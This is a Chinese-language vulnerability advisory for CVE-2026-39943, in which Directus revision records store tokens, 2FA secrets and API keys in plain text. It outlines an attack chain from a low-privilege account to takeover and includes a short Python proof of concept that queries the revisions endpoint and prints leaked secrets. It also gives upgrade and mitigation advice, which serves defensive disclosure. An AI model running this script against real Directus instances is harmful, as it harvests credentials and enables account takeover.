IPBUF安全漏洞报告
English
CVE-2026-39943 CVSS 6.5 中危

CVE-2026-39943 Directus敏感信息明文存储漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39943
漏洞类型
敏感信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

敏感信息泄露DirectusCWE-312数据安全

漏洞概述

Directus在11.17.0之前的版本中存在敏感信息泄露漏洞。由于版本快照代码未始终调用prepareDelta清理管道,导致用户令牌、双因素认证密钥、API密钥等敏感数据以明文形式存储在版本记录中,可能被低权限用户读取。

技术细节

该漏洞源于Directus在处理数据修订记录时的逻辑缺陷。系统在创建或更新条目时会将快照存入`directus_revisions`表。然而,生成快照的代码未能在所有场景下一致地调用`prepareDelta`清理管道。这导致本应被过滤或加密的敏感字段(包括用户Tokens、2FA密钥、外部Auth ID、认证数据、存储凭证和AI API Keys)被原样保存。攻击者若拥有读取版本记录的权限(通常是低权限用户),即可获取这些明文敏感信息。

攻击链分析

STEP 1
获取访问权限
攻击者注册或获取一个Directus平台的低权限用户账户。
STEP 2
访问版本记录
利用低权限账户的API访问权限,向`directus_revisions`端点发送请求,查询历史版本记录。
STEP 3
提取敏感数据
分析返回的JSON数据,从`data`字段中提取未经过滤的明文敏感信息(如Tokens、API Keys)。
STEP 4
权限提升或横向移动
利用获取到的管理员Token或API密钥接管高权限账户或访问关联的第三方服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for Directus API target_url = "https://target-directus-instance.com/items/directus_revisions" # Authorization token (Low-privileged user token) headers = { "Authorization": "Bearer LOW_PRIVILEGE_TOKEN" } # Send GET request to fetch revision records response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() # Check for sensitive fields in the response data for item in data['data']: print(f"Revision ID: {item['id']}") # Sensitive data might be nested in 'data' field of the revision if 'data' in item and ('token' in str(item['data']) or 'secret' in str(item['data'])): print(f"[!] Potential sensitive data found: {item['data']}") else: print("Failed to retrieve data")

影响范围

Directus < 11.17.0

防御指南

临时缓解措施
建议立即升级Directus至11.17.0或更高版本。若无法立即升级,应严格限制对`directus_revisions`表的API访问权限,仅允许管理员访问,并手动审查数据库表中的历史数据,清除已泄露的明文凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表